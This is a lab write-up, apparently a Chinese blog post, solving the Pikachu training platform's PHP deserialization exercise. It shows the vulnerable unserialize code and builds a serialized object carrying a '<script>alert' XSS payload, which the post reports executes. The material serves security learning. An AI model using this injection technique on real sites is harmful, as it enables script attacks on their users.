pikachu_php反序列化

pikachu_php反序列化

源代码

php 复制代码
class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

源码可见,需要执行到test,那么就需要执行construct函数,该魔法函数创建对象时就会被执行,执行到else分支之后输入值的反序列化就会当做值给test调用

过程

尝试写一个xss攻击,将xss攻击序列化提交

php 复制代码
<?php
class Test{
	public $a="<script>alert(/order/)</script>";
}
	$a=new Test();
	var_dump(serialize($a));
?>

查看结果

发现xss标签部分被执行了,然后没有了

因此需要在序列化的时候替换掉xss攻击代码中的一部分,让其无法执行,生成后再替换回来即可

此处将括号换成x,并且构造成源码一样的参数名

php 复制代码
<?php
class S{
    var $test = "xscript>alert(/order/)x/script>";
}
    $s=new S(); 
    print_r(serialize($s));
?>

得到结果然后修改尖括号

复制代码
O:1:"S":1:{s:4:"test";s:31:"xscript>alert(/order/)x/script>";}

O:1:"S":1:{s:4:"test";s:31:"<script>alert(/order/)</script>";}

拿去执行,成功执行xss

相关推荐
zorro_z9 分钟前
ThinkPHP8学习篇(十三):视图
php
小安同学iter11 分钟前
天机学堂day05
java·开发语言·spring boot·分布式·后端·spring cloud·微服务
c骑着乌龟追兔子17 分钟前
Day 32 函数专题1:函数定义与参数
开发语言·前端·javascript
YJlio19 分钟前
Active Directory 工具学习笔记(10.3):AdExplorer 实战(三)— 配置与偏好、导出与安全
笔记·学习·安全
yaoxin52112319 分钟前
262. Java 集合 - Java 中 ArrayList 与 LinkedList 读取元素性能大对决
java·开发语言
椰萝Yerosius21 分钟前
MATLAB简介
开发语言·数学建模·matlab
李日灐30 分钟前
C++STL:list(双链表)的底层实现 && 部分源码解析
开发语言·c++
sc.溯琛30 分钟前
计算机网络:概论学习1
网络·智能路由器·php
无限进步_38 分钟前
C语言宏的魔法:探索offsetof与位交换的奇妙世界
c语言·开发语言·windows·后端·算法·visual studio
代码雕刻家41 分钟前
C语言关于换行符的注意事项
c语言·开发语言